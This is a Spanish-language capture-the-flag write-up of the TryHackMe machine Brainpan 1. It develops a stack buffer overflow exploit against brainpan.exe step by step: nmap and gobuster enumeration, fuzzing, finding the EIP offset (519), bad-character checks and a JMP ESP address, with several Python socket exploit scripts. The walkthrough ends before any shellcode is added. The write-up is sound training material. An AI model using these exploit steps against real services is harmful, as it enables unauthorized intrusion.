Brainpan 1 [TryHackMe]

2023-10-08

Introducción

La última máquina que he hecho en TryHackMe ha sido Brainpan 1. Se trata de una máquina de nivel “difícil” para la que necesitaremos explotar un buffer overflow de un binario de Windows que se está ejecutando en un una máquina Linux. No hay flags ni ninguna indicación, simplemente tenemos que conseguir acceso a la máquina y obtener una shell con privilegios de administrador.

Escaneo de puertos

Lo primero que haremos será escanear los puertos de la máquina con nmap:

nmap -sS --min-rate 5000 -p- -Pn -v -oN nmap_inicial 10.10.115.44

# Nmap 7.94 scan initiated Sat Oct  7 23:47:02 2023 as: nmap -sS --min-rate 5000 -p- -Pn -v -oN nmap_inicial 10.10.115.44
Nmap scan report for 10.10.115.44
Host is up (0.048s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Oct  7 23:47:15 2023 -- 1 IP address (1 host up) scanned in 13.11 seconds
# Nmap 7.94 scan initiated Sat Oct  7 23:47:02 2023 as: nmap -sS --min-rate 5000 -p- -Pn -v -oN nmap_inicial 10.10.115.44
Nmap scan report for 10.10.115.44
Host is up (0.048s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Oct  7 23:47:15 2023 -- 1 IP address (1 host up) scanned in 13.11 seconds


# Nmap 7.94 scan initiated Sat Oct  7 23:47:15 2023 as: nmap -p9999,10000 -sC -sV -Pn -oN nmap_final 10.10.115.44
Nmap scan report for 10.10.115.44
Host is up (0.046s latency).

PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings:
|   NULL:
|     _| _|
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.94%I=7%D=10/7%Time=6521D1EA%P=x86_64-pc-linux-gnu%r(NU
SF:LL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|
SF:\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\
SF:x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x
SF:20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x
SF:20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x
SF:20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct  7 23:47:55 2023 -- 1 IP address (1 host up) scanned in 39.38 seconds

Vemos que tenemos dos puertos abiertos, el 9999 y el 10000. El primero de ellos es el puerto de escucha del binario que vamos a explotar, y el segundo es un puerto de gestión de un sniffer de red que no nos interesa.

Enumeración

Vamos a enumerar el puerto 9999 y el puerto 10000 con netcat para ver qué nos devuelve:

nc -vn 10.10.115.44 9999
Connection to 10.10.115.44 9999 port [tcp/*] succeeded!
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> 
                          ACCESS DENIED
nc -vn 10.10.115.44 10000
Connection to 10.10.115.44 10000 port [tcp/*] succeeded!
hola
<head>
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code 400.
<p>Message: Bad request syntax ('hola').
<p>Error code explanation: 400 = Bad request syntax or unsupported method.
</body>

Vemos que el puerto 9999 nos devuelve un banner con un mensaje de bienvenida y un campo para introducir una contraseña. El puerto 10000 nos devuelve un error 400 al enviarle un mensaje.

Decido probar a enumerar el peurto 10000 con gobuster para ver si hay algún directorio web que podamos explorar:

gobuster dir --url "http://10.10.115.44:10000/" -w "/usr/share/wordlists/dirbuster/directory-list-1.0.txt"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.115.44:10000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/bin                  (Status: 301) [Size: 0] [--> /bin/]
Progress: 11466 / 141709 (8.09%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 11509 / 141709 (8.12%)
===============================================================
Finished
===============================================================

Al parecer hay un directorio llamado /bin. Al acceder a él vemos que se trata de un directorio de descarga de un binario llamado brainpan.exe que debe ser el binario que se está ejecutando en el puerto 9999. Lo descargo y me dispongo a analizarlo con Inmunity Debugger en una máquina Windows 7 que tengo en VirtualBox.

file brainpan.exe

brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, 5 sections

Análisis del binario

Lo primero que hago es abrir el binario con Inmunity Debugger y analizarlo con mona para ver si hay algún módulo vulnerable:

!mona modules


---------- Mona command started on 2023-10-08 23:15:09 (v2.0, rev 634) ----------
0BADF00D   [+] Processing arguments and criteria
0BADF00D       - Pointer access level : X
0BADF00D   [+] Generating module info table, hang on...
0BADF00D       - Processing modules
0BADF00D       - Done. Let's rock 'n roll.
0BADF00D   ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D    Module info :
0BADF00D   ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D    Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
0BADF00D   ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D    0x75920000 | 0x75926000 | 0x00006000 | True   | True    | True  | False |  True    | True   | 6.1.7600.16385 [NSI.dll] (C:\Windows\syswow64\NSI.dll) 0x540
0BADF00D    0x76d30000 | 0x76d76000 | 0x00046000 | True   | True    | True  | False |  True    | True   | 6.1.7600.16385 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll) 0x140
0BADF00D    0x77480000 | 0x774b5000 | 0x00035000 | True   | True    | True  | False |  True    | True   | 6.1.7600.16385 [WS2_32.DLL] (C:\Windows\syswow64\WS2_32.DLL) 0x140
0BADF00D    0x770f0000 | 0x77200000 | 0x00110000 | True   | True    | True  | False |  True    | True   | 6.1.7600.16385 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll) 0x140
0BADF00D    0x75930000 | 0x759dc000 | 0x000ac000 | True   | True    | True  | False |  True    | True   | 7.0.7600.16385 [msvcrt.dll] (C:\Windows\syswow64\msvcrt.dll) 0x140
0BADF00D    0x75710000 | 0x7571c000 | 0x0000c000 | True   | True    | True  | False |  True    | True   | 6.1.7600.16385 [CRYPTBASE.dll] (C:\Windows\syswow64\CRYPTBASE.dll) 0x540
0BADF00D    0x75720000 | 0x75780000 | 0x00060000 | True   | True    | True  | False |  True    | True   | 6.1.7601.17514 [SspiCli.dll] (C:\Windows\syswow64\SspiCli.dll) 0x140
0BADF00D    0x77bc0000 | 0x77d40000 | 0x00180000 | True   | True    | True  | False |  True    | True   | 6.1.7600.16385 [ntdll.dll] (C:\Windows\SysWOW64\ntdll.dll) 0x140
0BADF00D    0x31170000 | 0x31176000 | 0x00006000 | False  | False   | False | False |  False   | False  | -1.0- [brainpan.exe] (C:\bof\brainpan\brainpan.exe) 0x0
0BADF00D    0x76a40000 | 0x76b30000 | 0x000f0000 | True   | True    | True  | False |  True    | True   | 6.1.7600.16385 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll) 0x140
0BADF00D    0x76a20000 | 0x76a39000 | 0x00019000 | True   | True    | True  | False |  True    | True   | 6.1.7600.16385 [sechost.dll] (C:\Windows\SysWOW64\sechost.dll) 0x140
0BADF00D   -----------------------------------------------------------------------------------------------------------------------------------------
0BADF00D
0BADF00D   [+] Preparing output file 'modules.txt'
0BADF00D       - (Re)setting logfile c:\\mona\\brainpan\modules.txt
0BADF00D
0BADF00D   [+] This mona.py action took 0:00:00.083000
0BADF00D   ----------------------------------------------------------------------------------------------------------------------------------------------

Vemos que hay un módulo llamado brainpan.exe que es el que nos interesa.

Fuzzing

Al analizarlo con netcat, pude comprobar que el programa consiste en un banner de bienvenida y un campo para introducir una contraseña. Si introducimos una contraseña incorrecta, el programa nos devuelve un mensaje de error. Sabiendo que el programa es vulnerable a un buffer overflow, intento averiguar ver cuántos bytes necesito para sobreescribir el EIP.

El campo de contraseña es posible que tenga un límite de caracteres, así que voy a enviar un mensaje exageradamente largo para ver si se rompe el programa. Para ello, creo una cadena de 1000 caracteres y la envío al programa con netcat:

# Creo una cadena de 1000 caracteres
python -c "print('A'*1000)"

Reviso Inmunity Debugger y veo que el programa se ha roto y que el EIP ha sido sobrescrito con 41414141:

EAX 00000001
ECX 3117303F ASCII "shitstorm
"
EDX 0028F720
EBX 7EFDE000
ESP 0028F930 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP 41414141
ESI 00000000
EDI 00000000
EIP 41414141
C 0  ES 002B 32bit 0(FFFFFFFF)
P 0  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 7EFDD000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 037F  Prec NEAR,64  Mask    1 1 1 1 1 1

Análisis del volcado de memoria

  1. EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI: Estos son registros de propósito general y punteros utilizados por la CPU. El valor 41414141 en EBP y EIP sugiere un posible desbordamiento de búfer, ya que es una secuencia de ‘A’ (0x41), que es el valor que se ha utilizado para rellenar el búfer.

  2. EIP (Instruction Pointer): Contiene la dirección de la próxima instrucción que se ejecutará. Ha sido sobrescrito con ‘A’ (0x41). Este es un indicador típico de un desbordamiento de búfer.

  3. ESP (Stack Pointer): Indica la dirección actual en la pila. También contiene una secuencia de ‘A’, lo que sugiere que el desbordamiento de búfer podría haber afectado la pila.

  4. EBP (Base Pointer): Normalmente, se utiliza para apuntar al comienzo de un marco de pila. El valor 41414141 indica que también ha sido sobrescrito y podría ser parte de un intento de controlar la ejecución.

  5. Pila (Stack): La información en la pila muestra una cadena repetitiva de ‘A’ (0x41), lo cual es un indicador clásico de un desbordamiento de búfer.

  6. EIP con ‘41414141’: La dirección de retorno (EIP) ha sido sobrescrita con ‘A’ (0x41), lo que indica un posible desbordamiento de búfer que ha alterado la dirección de retorno.

Control del EIP

Sabiendo que el programa es vulnerable a un buffer overflow, voy a intentar explotarlo con Python. Para ello, voy a utilizar el módulo socket para conectarme al programa y enviarle una cadena de 1000 caracteres. Para ver si el programa se ha roto, voy a enviarle una cadena de 1000 caracteres ‘A’ y voy a ver si el EIP se ha sobrescrito con ‘A’ (0x41).

import socket

ip = "192.168.56.101"
port = 9999

prefix = "k3ss "
offset = 0
overflow = "A" * offset
retn =  ""
padding = ""
payload = "A" * 1000
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")

except Exception as e:
    print(f"An error occurred: {e}")
EAX FFFFFFFF
ECX 3117303F ASCII "shitstorm
"
EDX 0028F720 ASCII "k3ss AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBX 7EFDE000
ESP 0028F930 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP 41414141
ESI 00000000
EDI 00000000
EIP 41414141
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 1  FS 0053 32bit 7EFDD000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 037F  Prec NEAR,64  Mask    1 1 1 1 1 1

Una vez ejecutado el script, compruebo Inmunity Debugger y veo que el EIP se ha sobrescrito con ‘A’ (0x41). Ahora hay que averiguar el offset para sobrescribir el EIP con una dirección de memoria que apunte a un salto a la shellcode.

msf-pattern_create -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Sustituimos la cadena de 1000 caracteres por la cadena generada por msf-pattern_create y ejecutamos el script:

EAX FFFFFFFF
ECX 3117303F ASCII "shitstorm
"
EDX 0028F720 ASCII "k3ss Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5A
EBX 7EFDE000
ESP 0028F930 ASCII "r4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1A
EBP 32724131
ESI 00000000
EDI 00000000
EIP 41337241
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 1  FS 0053 32bit 7EFDD000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 037F  Prec NEAR,64  Mask    1 1 1 1 1 1

Vemos que el EIP se ha sobrescrito con 41337241. Ahora vamos a averiguar el offset para sobrescribir el EIP con una dirección de memoria que apunte a un salto a la shellcode.

msf-pattern_offset -q 41337241 -l 1000
[*] Exact match at offset 519

Solo tengo que añadir 519 ‘A’ a la cadena de 1000 caracteres y enviarla al programa para sobrescribir el EIP con la dirección de memoria que apunta a un salto a la shellcode. Dejo el payload vacío para ver si el programa y añado un retn con BBBB para ver si el EIP se ha sobrescrito con BBBB.

import socket

ip = "192.168.56.101"
port = 9999

prefix = "k3ss "
offset = 519
overflow = "A" * offset
retn =  "BBBB"
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")

except Exception as e:
    print(f"An error occurred: {e}")
EAX FFFFFFFF
ECX 3117303F ASCII "shitstorm
"
EDX 0028F720 ASCII "k3ss AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBX 7EFDE000
ESP 0028F930 ASCII "
"
EBP 41414141
ESI 00000000
EDI 00000000
EIP 42424242
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 1  FS 0053 32bit 7EFDD000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 037F  Prec NEAR,64  Mask    1 1 1 1 1 1

Vemos que el EIP se ha sobrescrito con 42424242. Ahora hay que averiguar cuales son los badchars que podrían afectar al shellcode.

Badchars

Para ello, voy a enviarle al programa una cadena de 1000 caracteres con todos los caracteres hexadecimales posibles:

for x in range(1, 256):
    print("\\x" + "{:02x}".format(x), end='')

print()
python3 bytearray.py                                                        
                                                                                                      
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Preparo el script del exploit con el offset, el retn BBBB y el payload con los valores hexadecimales generados:


import socket

ip = "192.168.56.101"
port = 9999

prefix = "k3ss "
offset = 519
overflow = "A" * offset
retn =  "BBBB"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")

except Exception as e:
    print(f"An error occurred: {e}")

En Inmuinity Debugger añado el valor \x00 a un bytearray para ver si es un badchar:

!mona bytearray -b "\x00"

Lanzo el exploit y comparo el bytearray con el payload enviado:

!mona compare -f C:\mona\brainpan\\bytearray.bin -a ESP

mona Memory comparison results, item 0
 Address=0x0028f930
 Status=Unmodified
 BadChars=
 Type=normal
 Location=Stack

Al comparar la dirección de memoria del ESP con el bytearray, vemos que no hay ningún badchar más que el \x00.

Punto de salto

El comando !mona jmp -r esp -cpb "\x00" nos devuelve una lista de direcciones de memoria que apuntan a un salto a la shellcode:

!mona jmp -r esp -cpb "\x00"

Log data, item 3
 Address=311712F3
